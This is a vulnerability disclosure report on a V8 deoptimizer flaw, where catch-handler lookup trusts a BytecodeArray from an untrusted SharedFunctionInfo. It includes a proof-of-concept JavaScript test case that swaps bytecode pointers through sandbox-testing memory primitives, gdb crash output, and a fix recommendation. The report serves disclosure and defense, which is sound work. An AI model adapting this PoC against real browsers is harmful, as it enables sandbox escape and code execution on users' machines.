Vulnerability Details When deoptimizing compiled code (and resuming execution in the interpreter), V8 uses the function Deoptimizer::DoComputeOutputFrames() to reconstruct the stack frames the way the interpreter expects them. This logic also involves determining the offset in the BytecodeArray where execution continues. For that, the deoptimizer is careful to ensure that it returns to the same BytecodeArray from which the optimized code was compiled (so that bytecode offsets are valid). However, one special case is if the deoptmizer returns into a catch block of a try-catch because the deoptimization is due to a throw operation. The following code handles this logic: void Deoptimizer::DoComputeOutputFrames() { // ... } else if (deoptimizing_throw_) { // If we are supposed to go to the catch handler, find the catching frame // for the catch and make sure we only deoptimize up to that frame. size_t catch_handler_frame_index = count; for (size_t i = count; i-- > 0;) { catch_handler_pc_offset_ = LookupCatchHandler( isolate(), &(translated_state_.frames()[i]), &catch_handler_data_); // ... } Here, LookupCatchHandler is used to find the right offset in the bytecode to return to. Its implementation is shown below. int LookupCatchHandler(Isolate* isolate, TranslatedFrame* translated_frame, int* data_out) { switch (translated_frame->kind()) { case TranslatedFrame::kUnoptimizedFunction: { int bytecode_offset = translated_frame->bytecode_offset().ToInt(); HandlerTable table( translated_frame->raw_shared_info()->GetBytecodeArray(isolate)); // [1] int handler_index = table.LookupHandlerIndexForRange(bytecode_offset); if (handler_index == HandlerTable::kNoHandlerFound) return handler_index; *data_out = table.GetRangeData(handler_index); table.MarkHandlerUsed(handler_index); return table.GetRangeHandler(handler_index); } case TranslatedFrame::kJavaScriptBuiltinContinuationWithCatch: { return 0; } default: break; } return -1; } As can be seen at [1], the function does not use the (trusted) BytecodeArray from the existing frames but instead loads it from the (untrusted) SharedFunctionInfo object inside the sandbox. This opens up a handle-swapping attack: if the BytecodeArray of the SFI is replaced with a different one prior to deoptimization, then the deoptimizer will use the new BytecodeArray to compute the offset of the catch handler but apply that offset to the old BytecodeArray, leading to (potentially) arbitrary bytecode execution. Reproduction The following test case demonstrates the issue: // Flags: --sandbox-testing --expose-gc --allow-natives-syntax const kHeapObjectTag = 1; const kJSFunctionType = Sandbox.getInstanceTypeIdFor('JS_FUNCTION_TYPE'); const kSharedFunctionInfoType = Sandbox.getInstanceTypeIdFor('SHARED_FUNCTION_INFO_TYPE'); const kJSFunctionSFIOffset = Sandbox.getFieldOffset(kJSFunctionType, 'shared_function_info'); const kSharedFunctionInfoTrustedFunctionDataOffset = Sandbox.getFieldOffset(kSharedFunctionInfoType, 'trusted_function_data'); let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000)); function getPtr(obj) { return Sandbox.getAddressOf(obj) + kHeapObjectTag; } function getField(obj, offset) { return memory.getUint32(obj + offset - kHeapObjectTag, true); } function setField(obj, offset, value) { memory.setUint32(obj + offset - kHeapObjectTag, value, true); } // Target function to optimize and deoptimize. function f(should_deopt) { try { if (should_deopt) { trigger(); } } catch(e) { return 1; } return 0; } function trigger() { // The %DeoptimizeFunction here seems to be necessary to force deoptimization // on the `throw`, which is itself needed to trigger the bug. %DeoptimizeFunction(f); throw "boom"; } // Dummy function to provide a different BytecodeArray. // This needs to be somewhat large and have a try-catch to pass some CHECKs during deopt. let g_body = ` try { let x = 0; ${"x++;".repeat(500)} return x; } catch(e) { return 0; } `; const g = new Function(g_body); %PrepareFunctionForOptimization(f); %PrepareFunctionForOptimization(g); f(false); g(); %OptimizeFunctionOnNextCall(f); f(false); // Swap the trusted_function_data (pointing to the BytecodeArray) in f's SFI with that of g's SFI. let f_sfi = getField(getPtr(f), kJSFunctionSFIOffset); let g_sfi = getField(getPtr(g), kJSFunctionSFIOffset); let g_tfd = getField(g_sfi, kSharedFunctionInfoTrustedFunctionDataOffset); setField(f_sfi, kSharedFunctionInfoTrustedFunctionDataOffset, g_tfd); // Trigger the crash. f(true); When run inside gdb, it should result in a crash such as: > gdb --args ./out/sbxtst/d8 --sandbox-testing --allow-natives-syntax --expose-gc poc.js Sandbox testing mode is enabled. Only sandbox violations will be reported, all other crashes will be ignored. Sandbox bounds: [0x7abe00000000,0x7bbe00000000) External strings cage bounds: [0x7aafc0000000,0x7ab400000000) [New Thread 0x7bff32fef6c0 (LWP 3789716)] External strings cage bounds: [0x7aafc0000000,0x7ab400000000) ## V8 sandbox violation detected! Thread 1 "d8" received signal SIGABRT, Aborted. __pthread_kill_implementation (threadid=, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44 warning: 44 ./nptl/pthread_kill.c: No such file or directory (gdb) bt #0 __pthread_kill_implementation (threadid=, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44 #1 0x00007ffff7cf99ff in __pthread_kill_internal (threadid=, signo=6) at ./nptl/pthread_kill.c:89 #2 0x00007ffff7ca4cc2 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26 #3 0x00007ffff7c8d4ac in __GI_abort () at ./stdlib/abort.c:73 #4 0x0000555557e38152 in v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:794 #5 0x00005555584458e0 in v8::internal::abort_with_sandbox_violation () at ../../src/codegen/external-reference.cc:1967 #6 0x000055555e40fa73 in Builtins_IllegalHandler () As can be seen, the sandbox violation is triggered because the interpreter executes invalid bytecode instructions, a primitive that has been shown to be exploitable in the past. Fix Recommendation For fixing this specific bug it should be enough to ensure that the handler offset is also computed based on the trusted BytecodeArray to which execution will return. As a follow-up, it would be worth investigating whether the deoptimizer can run without (read) access to the sandbox. This would prevent similar issues (where the deoptimizer relies on untrusted data) in the future. For example, the Wasm deoptimizer already runs with a DisallowSandboxAccess scope [1], which enforces such a restriction. [1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/deoptimizer/deoptimizer.h;l=342;drc=2954cee8512ed9dbfe51cbd0e9d92566783e62f3 Credit Information Samuel Groß of Google Project Zero Disclosure Deadline This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-04-08. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html Credit: saelo